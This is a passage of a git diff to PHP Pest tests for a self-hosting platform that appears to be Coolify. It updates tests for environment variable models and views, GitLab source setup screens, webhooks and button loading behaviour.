{preg_match('/<x-forms\.env-var-input[\s\S]*?\/>/', $view, $matches);expect($matches[0] ?? '')->toContain('canGate="manageEnvironment"')- ->toContain(':canResource="$resource"');- }-});--it('passes the remove source warning without compiling remote secret syntax as blade', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/secret-manager-links.blade.php'));-- expect($view)- ->toContain('with {{vault.KEY}}. Values are fetched')- ->not->toContain('{{doppler.KEY}}')- ->not->toContain('{{infisical.KEY}}')- ->toContain(':actions="[$removeSourceWarning]"')- ->not->toContain(':actions="[\'Existing {{vault.*}}');-});--it('shows secret manager configuration for applications services and databases', function () {- $views = [- resource_path('views/livewire/project/application/configuration.blade.php'),- resource_path('views/livewire/project/service/configuration.blade.php'),- resource_path('views/livewire/project/database/configuration.blade.php'),- ];-- foreach ($views as $view) {- expect(file_get_contents($view))->toContain('livewire:project.shared.secret-manager-links');+ ->toContain(':canResource="'.$resourceExpression.'"');}});diff --git a/tests/Feature/EnvironmentVariable/EnvironmentVariableSharedSpacingTest.php b/tests/Feature/EnvironmentVariable/EnvironmentVariableSharedSpacingTest.phpindex c299f65350..6f94d0143f 100644--- a/tests/Feature/EnvironmentVariable/EnvironmentVariableSharedSpacingTest.php+++ b/tests/Feature/EnvironmentVariable/EnvironmentVariableSharedSpacingTest.php@@ -33,8 +33,8 @@ test('shared variable preserves spacing in reference', function () {$env = EnvironmentVariable::create(['key' => 'TEST_VAR','value' => '{{ project.aaa }}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -45,8 +45,8 @@ test('shared variable preserves no-space format', function () {$env = EnvironmentVariable::create(['key' => 'TEST_VAR','value' => '{{project.aaa}}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -67,8 +67,8 @@ test('shared variable with spaces resolves correctly', function () {$env = EnvironmentVariable::create(['key' => 'MY_VAR','value' => '{{ project.TEST_KEY }}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);// Verify it resolves correctly@@ -90,8 +90,8 @@ test('shared variable without spaces resolves correctly', function () {$env = EnvironmentVariable::create(['key' => 'MY_VAR','value' => '{{project.TEST_KEY}}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);// Verify it resolves correctly@@ -113,8 +113,8 @@ test('shared variable with extra internal spaces resolves correctly', function ($env = EnvironmentVariable::create(['key' => 'MY_VAR','value' => '{{ project.TEST_KEY }}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);// Verify it resolves correctly (parser trims when extracting)@@ -126,8 +126,8 @@ test('is_shared attribute detects variable with spaces', function () {$env = EnvironmentVariable::create(['key' => 'TEST','value' => '{{ project.aaa }}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);expect($env->is_shared)->toBeTrue();@@ -137,8 +137,8 @@ test('is_shared attribute detects variable without spaces', function () {$env = EnvironmentVariable::create(['key' => 'TEST','value' => '{{project.aaa}}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);expect($env->is_shared)->toBeTrue();@@ -148,8 +148,8 @@ test('is_shared persisted value rejects unsupported reference types', function ($env = EnvironmentVariable::create(['key' => 'TEST','value' => '{{vault.KEY}}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -165,8 +165,8 @@ test('non-shared variable preserves spaces', function () {$env = EnvironmentVariable::create(['key' => 'REGULAR','value' => 'regular value with spaces',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -177,8 +177,8 @@ test('mixed content with shared variable preserves all spacing', function () {$env = EnvironmentVariable::create(['key' => 'MIXED','value' => 'prefix {{ project.aaa }} suffix',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -189,8 +189,8 @@ test('multiple shared variables preserve individual spacing', function () {$env = EnvironmentVariable::create(['key' => 'MULTI','value' => '{{ project.a }} and {{team.b}}',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();@@ -201,8 +201,8 @@ test('leading and trailing spaces are trimmed', function () {$env = EnvironmentVariable::create(['key' => 'TRIMMED','value' => ' {{ project.aaa }} ',- 'resource_id' => $this->application->id,- 'resource_type' => $this->application->getMorphClass(),+ 'resourceable_id' => $this->application->id,+ 'resourceable_type' => $this->application->getMorphClass(),]);$env->refresh();diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.phpindex f038ad682a..20fc96ba35 100644--- a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php+++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php@@ -15,7 +15,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0]);+ InstanceSettings::forceCreate(['id' => 0]);$this->team = Team::factory()->create();$this->user = User::factory()->create();diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.phpindex e7f9a07fb3..53978233d9 100644--- a/tests/Feature/EnvironmentVariableCommentTest.php+++ b/tests/Feature/EnvironmentVariableCommentTest.php@@ -1,19 +1,43 @@<?php+use App\Livewire\Project\Shared\EnvironmentVariable\All;+use App\Livewire\Project\Shared\EnvironmentVariable\Show;use App\Models\Application;+use App\Models\Environment;use App\Models\EnvironmentVariable;+use App\Models\InstanceSettings;+use App\Models\Project;+use App\Models\Server;+use App\Models\StandaloneDocker;use App\Models\Team;use App\Models\User;+use Illuminate\Foundation\Testing\RefreshDatabase;++uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::unguarded(function () {+ InstanceSettings::updateOrCreate(['id' => 0], []);+ });+$this->user = User::factory()->create();$this->team = Team::factory()->create();$this->team->members()->attach($this->user, ['role' => 'owner']);- $this->application = Application::factory()->create([- 'team_id' => $this->team->id,- ]);$this->actingAs($this->user);+ session(['currentTeam' => $this->team]);++ $project = Project::factory()->create(['team_id' => $this->team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);+ $server = Server::factory()->create(['team_id' => $this->team->id]);+ $destination = StandaloneDocker::where('server_id', $server->id)->first()+ ?? StandaloneDocker::factory()->create(['server_id' => $server->id, 'network' => 'coolify-test']);++ $this->application = Application::factory()->create([+ 'environment_id' => $environment->id,+ 'destination_id' => $destination->id,+ 'destination_type' => StandaloneDocker::class,+ ]);});test('environment variable can be created with comment', function () {@@ -143,10 +167,12 @@ test('environment variable comment cannot exceed 256 characters via Livewire', f$longComment = str_repeat('a', 257);- Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application'])+ Livewire::test(Show::class, ['env' => $env, 'type' => 'application'])->set('comment', $longComment)->call('submit')->assertHasErrors(['comment' => 'max']);++ expect($env->fresh()->comment)->toBeNull();});test('bulk update preserves existing comments when no inline comment provided', function () {@@ -162,7 +188,7 @@ test('bulk update preserves existing comments when no inline comment provided',// User switches to Developer view and pastes new value without inline comment$bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value";- Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [+ Livewire::test(All::class, ['resource' => $this->application,'type' => 'application',])@@ -192,7 +218,7 @@ test('bulk update overwrites existing comments when inline comment provided', fu// User pastes new value WITH inline comment$bulkContent = 'API_KEY=new-key #Updated production key';- Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [+ Livewire::test(All::class, ['resource' => $this->application,'type' => 'application',])@@ -230,7 +256,7 @@ test('bulk update handles mixed inline and stored comments correctly', function// Bulk paste: one with inline comment, one without$bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2";- Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [+ Livewire::test(All::class, ['resource' => $this->application,'type' => 'application',])@@ -254,7 +280,7 @@ test('bulk update creates new variables with inline comments', function () {// Bulk paste creates new variables, some with inline comments$bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3";- Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [+ Livewire::test(All::class, ['resource' => $this->application,'type' => 'application',])diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.phpindex f2650fdc76..40209e7261 100644--- a/tests/Feature/EnvironmentVariableMassAssignmentTest.php+++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php@@ -4,6 +4,9 @@ use App\Models\Application;use App\Models\EnvironmentVariable;use App\Models\Team;use App\Models\User;+use Illuminate\Foundation\Testing\RefreshDatabase;++uses(RefreshDatabase::class);beforeEach(function () {$this->user = User::factory()->create();@@ -94,9 +97,11 @@ test('all boolean fields default correctly when not provided', function () {// Boolean fields can be null or false depending on database defaultsexpect($env->is_multiline)->toBeIn([false, null]);expect($env->is_preview)->toBeIn([false, null]);- expect($env->is_runtime)->toBeIn([false, null]);- expect($env->is_buildtime)->toBeIn([false, null]);expect($env->is_shown_once)->toBeIn([false, null]);++ // New variables are available at runtime and build time unless configured otherwise+ expect($env->is_runtime)->toBeTrue();+ expect($env->is_buildtime)->toBeTrue();});test('value field is properly encrypted when mass assigned', function () {@@ -113,7 +118,7 @@ test('value field is properly encrypted when mass assigned', function () {expect($env->value)->toBe($plainValue);// Verify it's actually encrypted in the database- $rawValue = \DB::table('environment_variables')+ $rawValue = DB::table('environment_variables')->where('id', $env->id)->value('value');@@ -121,17 +126,26 @@ test('value field is properly encrypted when mass assigned', function () {expect($rawValue)->not->toBeNull();});-test('key field is trimmed and spaces replaced with underscores', function () {+test('key field is trimmed', function () {$env = EnvironmentVariable::create([- 'key' => ' TEST KEY WITH SPACES ',+ 'key' => ' TEST_KEY ','value' => 'test_value','resourceable_type' => Application::class,'resourceable_id' => $this->application->id,]);- expect($env->key)->toBe('TEST_KEY_WITH_SPACES');+ expect($env->key)->toBe('TEST_KEY');});+test('key field with inner spaces is rejected', function () {+ EnvironmentVariable::create([+ 'key' => ' TEST KEY WITH SPACES ',+ 'value' => 'test_value',+ 'resourceable_type' => Application::class,+ 'resourceable_id' => $this->application->id,+ ]);+})->throws(InvalidArgumentException::class);+test('version field can be mass assigned', function () {$env = EnvironmentVariable::create(['key' => 'TEST_VAR',@@ -164,7 +178,7 @@ test('mass assignment works with update method', function () {expect($env->value)->toBe('updated_value');expect($env->comment)->toBe('Updated comment');- expect($env->is_literal)->toBeTrue();+ expect((bool) $env->is_literal)->toBeTrue();});test('protected attributes cannot be mass assigned', function () {diff --git a/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php b/tests/Feature/EnvironmentVariableMultilineToggleViewTest.phpindex 77df86e2d8..66a542acaf 100644--- a/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php+++ b/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php@@ -1,14 +1,9 @@<?php-it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {+it('uses distinct keys for the add value field modes', function () {$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));expect($view)- ->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')- ->toContain('<template x-if="isMultiline">')- ->toContain('<template x-if="!isMultiline">')- ->toContain('id="is_multiline"')- ->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')->toContain('wire:key="env-value-textarea"')->toContain('wire:key="env-value-input"');});@@ -17,58 +12,6 @@ it('uses distinct keyed branches for the edit value field modes', function () {$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));expect($view)- ->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')- ->toContain('wire:key="env-show-value-input-{{ $env->id }}"');-});--it('lazy-loads decrypted values only when opening the edit modal', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));-- expect($view)- ->toContain('wire:click="loadValues"')- ->toContain('wireOpen="editorOpen"')- ->toContain('$valuesLoaded')- ->toContain('Loading value...');-- expect($view)->toContain('<x-forms.input loading loadingText="Loading value..."');-});--it('keeps the environment variable delete button compact', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));-- expect($view)->not->toContain('buttonFullWidth="true"');-});--it('uses sans font for the developer bulk environment variable editor', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->toContain('class="whitespace-pre-wrap font-sans"')- ->not->toContain('wire:model="variables" monospace')- ->not->toContain('wire:model="variablesPreview" monospace');-});--it('loads environment variables asynchronously after first paint', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->toContain('wire:init="loadEnvironmentVariables"')- ->toContain('Loading environment variables...');-});--it('renders a single no results message for empty environment variable searches', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->toContain('@if ($this->isSearchActive && $totalRows === 0)')- ->toContain('No environment variables found');-});--it('paginates a unified environment variable table instead of loading every row', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->toContain('$this->environmentVariablePageRows')- ->toContain('nextEnvironmentVariablePage')- ->not->toContain('@forelse ($this->environmentVariables as $env)');+ ->toContain('wire:key="env-show-value-multiline-{{ $env->id }}"')+ ->toContain('wire:key="env-show-value-single-{{ $env->id }}"');});diff --git a/tests/Feature/EnvironmentVariableTableLayoutTest.php b/tests/Feature/EnvironmentVariableTableLayoutTest.phpindex ce0086af22..17f7b61927 100644--- a/tests/Feature/EnvironmentVariableTableLayoutTest.php+++ b/tests/Feature/EnvironmentVariableTableLayoutTest.php@@ -1,126 +1,5 @@<?php-/**- * Resource environment variables table: full names, Managed as a column,- * Type owns Production/Preview (no desktop Production badge in the name cell).- */-test('resource environment variables table has a Managed column and no name-cell Production badge on desktop', function () {- $all = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));- $show = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));- $hardcoded = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show-hardcoded.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));- $filter = file_get_contents(resource_path('views/components/table/filter.blade.php'));- $loading = file_get_contents(resource_path('views/components/table/loading.blade.php'));-- // Header includes Managed between Name and Type.- expect($all)- ->toContain('$showEnvironmentType = $showPreview')- ->toContain("toggleVariableFilter('{{ \$value }}')")- ->toContain('toggleServiceFilter(@js($serviceName))')- ->toContain('$this->serviceFilterOptions')- ->toContain('toggleVariableFilter,toggleServiceFilter,clearFilters,setEnvironmentFilter')- ->toContain('<x-table.loading target="clearFilters"')- ->toContain('reset-action="clearFilters"')- ->not->toContain("'all' => 'All variables'")- ->toContain("setTableSort('{{ \$value }}')")- ->toContain('Loading environment variables...')- ->toContain('opacity-40 blur-[2px]')- ->toContain('setEnvironmentVariablePage,previousEnvironmentVariablePage,nextEnvironmentVariablePage')- ->toContain("'buildtime' => 'Buildtime'")- ->toContain("'runtime' => 'Runtime'")- ->toContain("'multiline' => 'Multiline'")- ->toContain("'literal' => 'Literal'")- ->toContain('$activeFilterCount')- ->toContain('$activeFilterText')- ->toContain("'flex size-4 shrink-0 items-center justify-center rounded-[5px] border'")- ->toContain('m2.25 6.15 2.35 2.3 5.15-5')- ->toContain('>Name</span>')- ->toContain('>Managed</span>')- ->toContain('>Type</span>')- ->and($filter)- ->toContain('Reset filters')- ->toContain('max-h-80 overflow-y-auto p-1')- ->toContain('min-w-44! overflow-hidden! p-0!')- ->and($loading)- ->toContain('wire:loading.flex');-- // Name cell does not repeat the environment type; Type owns Production/Preview.- expect($show)- ->toContain('env-managed-desktop')- ->toContain('env-type-desktop')- ->not->toContain('env-type-mobile')- ->not->toContain('env-managed-mobile')- ->toContain('env-managed-desktop data-table-cell-check')- ->toContain('$isMagicVariable');-- // Production/Managed desktop badges must not sit bare in the name cell without mobile class.- expect($show)->not->toMatch(- '/env-key-label[\s\S]{0,400}<span class="table-badge shrink-0">Managed<\/span>/'- );- expect($show)->not->toMatch(- '/env-key-label[\s\S]{0,500}<span class="table-badge shrink-0">\{\{\s*\$rowScopeLabel\s*\}\}<\/span>/'- );-- expect($hardcoded)- ->toContain('env-managed-desktop data-table-cell-check')- ->toContain('title="Environment variable details"')- ->toContain('<x-forms.input label="Value" :value="$value ?? \'\'" readonly />')- ->not->toContain("{{ filled(\$value) ? \$value : '(empty)' }}")- ->toContain('env-type-desktop')- ->not->toContain('env-type-mobile')- ->not->toContain('env-managed-mobile');-- // Mobile-only badge classes beat .table-badge display on desktop.- expect($css)- ->toContain('.env-managed-desktop')- // Resource grid is 9 columns (includes Managed).- ->toContain('minmax(14rem, 2.5fr) 4.8rem 6rem 4rem 4.5rem 4.8rem 4.2rem 3rem');-- expect($all)->not->toContain('<span>Comment</span>');- expect($show)->toContain('<x-helper :helper="e($comment)" />');-});--test('resource environment variables expose their settings action without horizontal scrolling on mobile', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));- $show = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));- $hardcoded = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show-hardcoded.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('environment-table-scroll')- ->and($show)- ->toContain('data-env-name-trigger')- ->toContain('data-env-settings-trigger')- ->and($hardcoded)- ->toContain('data-env-name-trigger')- ->toContain('data-env-settings-trigger')- ->and($css)- ->toContain(".environment-table-scroll {\n overflow-x: auto;")- ->toContain(".environment-table-scroll .env-table-grid {\n min-width: 53rem;")- ->toContain('.data-table-header.env-table-grid')- ->toContain('.data-table-row.env-table-grid > :last-child')- ->not->toContain(".env-type-desktop {\n display: none");-});--test('shared environment variables table still omits Managed column', function () {- $editor = file_get_contents(resource_path('views/components/shared-variables/editor.blade.php'));- $show = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));-- expect($editor)- ->toContain('env-table-grid-shared')- ->not->toContain('>Managed</span>');-- // Shared rows skip the Managed column cell.- expect($show)->toContain('! $isSharedVariable');-});--test('shared environment variables empty state has spacing around the card', function () {- $editor = file_get_contents(resource_path('views/components/shared-variables/editor.blade.php'));-- expect($editor)- ->toMatch('/<div class="p-3">\s*<x-empty title="No shared variables"/');-});-test('managed environment variables are ordered first', function () {$component = file_get_contents(app_path('Livewire/Project/Shared/EnvironmentVariable/All.php'));@@ -141,24 +20,3 @@ test('missing required environment variables are ordered before generated servic->and($component)->toContain('->filter(fn (EnvironmentVariable $environmentVariable): bool => $environmentVariable->is_really_required)');});--test('environment variable toolbar does not use blade directives inside component attributes', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->not->toMatch('/<x-table\.toolbar[^>]*@if/')- ->toContain('aria-busy="{{ ! $readyToLoad ? \'true\' : \'false\' }}"');-});--test('environment variable editor places delete left and update actions right', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));-- expect($view)- ->toContain('class="flex flex-wrap items-center justify-between gap-2 border-t')- ->toMatch('/data-environment-variable-delete-action[\s\S]+buttonTitle="Delete"[\s\S]+data-environment-variable-update-actions[\s\S]+Lock[\s\S]+Update variable/')- ->toContain('@environment-variable-updated.window="if ($event.detail.envId === @js($env->id)) modalOpen = false"')- ->toContain('<fieldset disabled wire:dirty.attr.remove="disabled">')- ->toContain('type="submit" isHighlighted wire:target="submit"')- ->toContain('wire:dirty.attr.remove="disabled"')- ->not->toContain('@click="modalOpen = false"');-});diff --git a/tests/Feature/FormsButtonLoadingTest.php b/tests/Feature/FormsButtonLoadingTest.phpindex f600458e82..3a5f97d332 100644--- a/tests/Feature/FormsButtonLoadingTest.php+++ b/tests/Feature/FormsButtonLoadingTest.php@@ -2,33 +2,6 @@use Illuminate\Support\Facades\Blade;-it('marks error buttons with the shared error class', function () {- $html = Blade::render('<x-forms.button isError>Delete service</x-forms.button>');-- expect($html)- ->toContain('class="button button-error"')- ->not->toContain('isError');-});--it('keeps unavailable destructive actions styled as error buttons', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/danger.blade.php'));-- expect($view)->toContain('<x-forms.button isError disabled tooltip="You do not have permission to delete this resource.">');-});--it('uses the shared error style for destructive form buttons', function (string $view, string $button) {- expect(file_get_contents(resource_path("views/{$view}")))->toContain($button);-})->with([- 'unavailable team deletion' => [- 'livewire/team/danger-zone.blade.php',- '<x-forms.button isError disabled tooltip="Resolve the requirements shown before deleting this team.">',- ],- 'tag removal' => [- 'livewire/project/shared/tags.blade.php',- '<x-forms.button isError wire:click="deleteTag',- ],-]);-it('disables the button and targets the wire click action while loading', function () {$html = Blade::render('<x-forms.button wire:click.prevent="checkConnection"><x-reicon name="refresh" class="size-3.5" />Check connection</x-forms.button>'@@ -57,12 +30,6 @@ it('uses an explicit wire target for submit buttons without wire click', functio->toContain('Validate and add');});-it('targets the S3 connection validation submit action', function () {- $view = file_get_contents(resource_path('views/livewire/storage/create.blade.php'));-- expect($view)->toContain('<x-forms.button class="mt-4" type="submit" wire:target="submit">');-});-it('keeps method arguments when deriving the loading target', function () {$html = Blade::render('<x-forms.button wire:click="setPrivateKey(42)">Use this key</x-forms.button>'@@ -85,18 +52,3 @@ it('skips loading attributes when the loading indicator is disabled', function (->not->toContain('animate-spin')->toContain('Check connection');});--it('hides static button icons with the shared is-loading utility', function () {- $css = file_get_contents(resource_path('css/utilities.css'));-- expect($css)->toContain('.button.is-loading > svg:not(.animate-spin)');-});--it('applies automatic loading behavior on the server private key check connection button', function () {- $view = file_get_contents(resource_path('views/livewire/server/private-key/show.blade.php'));-- expect($view)- ->toContain('wire:click.prevent="checkConnection"')- ->toContain('<x-reicon name="refresh" class="size-3.5" />')- ->toContain('<x-forms.button canGate="update" :canResource="$server"');-});diff --git a/tests/Feature/GithubAppSettingsLayoutTest.php b/tests/Feature/GithubAppSettingsLayoutTest.phpindex 7a91c859dd..3399e71f99 100644--- a/tests/Feature/GithubAppSettingsLayoutTest.php+++ b/tests/Feature/GithubAppSettingsLayoutTest.php@@ -26,38 +26,6 @@ beforeEach(function () {]);});-it('places source navigation in the sidebar and source status in breadcrumbs', function () {- $view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));- $navbar = file_get_contents(resource_path('views/components/dashboard/navbar.blade.php'));-- expect($view)- ->toContain(':mobileTitleOnly="true"')- ->not->toContain('<x-slot:titleMeta>')- ->toContain("'label' => 'Permissions'")- ->toContain("'icon' => 'keys'")- ->toContain("'label' => 'Resources'")- ->toContain('application-settings-navigation min-w-0 xl:self-start')- ->not->toContain('application-settings-navigation min-w-0 xl:sticky')- ->toContain('source.github.danger')- ->toContain('Danger Zone')- ->toContain('github-app-danger-section')- ->toContain('submitAction="delete"');-- expect($navbar)- ->toContain("request()->routeIs('source.github.show', 'source.github.permissions', 'source.github.resources', 'source.github.danger')")- ->not->toContain("['label' => 'Permissions', 'route' => 'source.github.permissions'")- ->not->toContain("['label' => 'Resources', 'route' => 'source.github.resources'");-- expect(file_get_contents(resource_path('views/components/top-breadcrumb.blade.php')))- ->toContain('x-breadcrumb-switcher')- ->toContain('$currentSource->name')- ->toContain("route('source.github.show'")- ->toContain("route('source.gitlab.show'");-- expect(file_get_contents(base_path('routes/web.php')))- ->toContain("->name('source.github.danger')");-});-it('sets the danger active tab from the danger route', function () {$githubApp = GithubApp::create(['uuid' => (string) str()->uuid(),diff --git a/tests/Feature/GithubWebhookTest.php b/tests/Feature/GithubWebhookTest.phpindex aee5239fb3..14a906af81 100644--- a/tests/Feature/GithubWebhookTest.php+++ b/tests/Feature/GithubWebhookTest.php@@ -1,5 +1,9 @@<?php+use Illuminate\Foundation\Testing\RefreshDatabase;++uses(RefreshDatabase::class);+describe('GitHub Manual Webhook', function () {test('ping event returns pong', function () {$response = $this->postJson('/webhooks/source/github/events/manual', [], [diff --git a/tests/Feature/GitlabAppAuthorizationTest.php b/tests/Feature/GitlabAppAuthorizationTest.phpindex c6e8d381bf..0793b2f547 100644--- a/tests/Feature/GitlabAppAuthorizationTest.php+++ b/tests/Feature/GitlabAppAuthorizationTest.php@@ -46,12 +46,6 @@ beforeEach(function () {});describe('GitLab App authorization', function () {- test('empty gitlab app state is inset from the section edges', function () {- $view = file_get_contents(resource_path('views/livewire/project/new/gitlab-private-repository.blade.php'));-- expect($view)->toContain("<div class=\"application-settings-section-body\">\n <x-empty title=\"No GitLab Apps\"");- });-test('unrelated users cannot inspect system-wide source secrets in the component payload', function () {$otherTeam = Team::factory()->create();$systemWideSource = GitlabApp::create([@@ -184,5 +178,4 @@ describe('GitLab App authorization', function () {expect(fn () => $this->owner->can('update', $orphaned))->not->toThrow(TypeError::class);expect($this->owner->can('update', $orphaned))->toBeFalse();});-});diff --git a/tests/Feature/GitlabRepositoryListingTest.php b/tests/Feature/GitlabRepositoryListingTest.phpindex f42263b9d7..aff4753b80 100644--- a/tests/Feature/GitlabRepositoryListingTest.php+++ b/tests/Feature/GitlabRepositoryListingTest.php@@ -13,11 +13,20 @@ afterEach(function () {Model::encryptUsing(null);});+/**+ * Http::GitSource() pins DNS before Http::fake() answers, so use a public IP+ * literal that needs no DNS lookup. No request leaves the test.+ */+function gitlabListingApiUrl(): string+{+ return 'https://1.1.1.1/api/v4';+}+it('returns a stable shape with has_more false when GitLab repo listing fails', function () {Http::fake(['*' => Http::response(['message' => '401 Unauthorized'], 401)]);$source = new GitlabApp([- 'api_url' => 'https://gitlab.example.test/api/v4',+ 'api_url' => gitlabListingApiUrl(),'access_token' => str_repeat('t', 20), // ggignore'refresh_token' => str_repeat('r', 20), // ggignore'expires_at' => time() + 3600,@@ -38,7 +47,7 @@ it('limits GitLab repositories to the exact group and its descendants', function], 200)]);$source = new GitlabApp([- 'api_url' => 'https://gitlab.example.test/api/v4',+ 'api_url' => gitlabListingApiUrl(),'access_token' => str_repeat('t', 20), // ggignore'refresh_token' => str_repeat('r', 20), // ggignore'expires_at' => time() + 3600,diff --git a/tests/Feature/GitlabSourceChangeViewTest.php b/tests/Feature/GitlabSourceChangeViewTest.phpindex fea0d23cbe..0e4cddd822 100644--- a/tests/Feature/GitlabSourceChangeViewTest.php+++ b/tests/Feature/GitlabSourceChangeViewTest.php@@ -38,16 +38,15 @@ beforeEach(function () {});describe('GitLab source setup view', function () {- test('shows red incomplete-setup alert and keeps advanced fields collapsed', function () {+ test('shows incomplete-setup guidance with the credential form', function () {Livewire::withQueryParams(['gitlab_app_uuid' => $this->gitlabApp->uuid])->test(Change::class)- ->assertSee('You must complete this step before you can use this source!')- ->assertSeeHtml('alert-error')- ->assertSee('Advanced / Self-hosted')+ ->assertSee('Finish connecting this GitLab App before using it as a source')+ ->assertSee('Advanced / self-hosted')->assertSee('Application ID')- ->assertSee('Application Secret')+ ->assertSee('Application secret')->assertSee('Save')- ->assertDontSee('alert-warning');+ ->assertDontSee('Test connection');});test('derives api url when gitlab url changes', function () {@@ -66,14 +65,6 @@ describe('GitLab source setup view', function () {$this->assertModelMissing($this->gitlabApp);});- test('uses the persisted name for the title during a post-delete update', function () {- $view = file_get_contents(resource_path('views/livewire/source/gitlab/change.blade.php'));-- expect($view)- ->toContain("{{ \$name ?: 'GitLab App' }} | Sources | Coolify")- ->not->toContain("{{ \$gitlab_app->name ?: 'GitLab App' }} | Sources | Coolify");- });-test('saves and reloads the application secret after refresh', function () {Livewire::withQueryParams(['gitlab_app_uuid' => $this->gitlabApp->uuid])->test(Change::class)@@ -94,7 +85,8 @@ describe('GitLab source setup view', function () {test('supports github-style custom public endpoint for oauth redirect uri', function () {Livewire::withQueryParams(['gitlab_app_uuid' => $this->gitlabApp->uuid])->test(Change::class)- ->assertSee('Use custom webhook endpoint')+ ->assertSee('Webhook endpoint')+ ->assertSee('Use a custom endpoint')->assertSee('Selected endpoint')->set('use_custom_webhook_endpoint', true)->set('custom_webhook_endpoint', 'http://100.75.155.70:8000')diff --git a/tests/Feature/GitlabSourceCreateModalTest.php b/tests/Feature/GitlabSourceCreateModalTest.phpindex 073fc1b74f..07050eb9b4 100644--- a/tests/Feature/GitlabSourceCreateModalTest.php+++ b/tests/Feature/GitlabSourceCreateModalTest.php@@ -21,7 +21,7 @@ beforeEach(function () {describe('GitLab source create modal', function () {test('matches github create modal structure', function () {Livewire::test(Create::class)- ->assertSee('This is required if you would like to get full integration')+ ->assertSee('Connect a GitLab 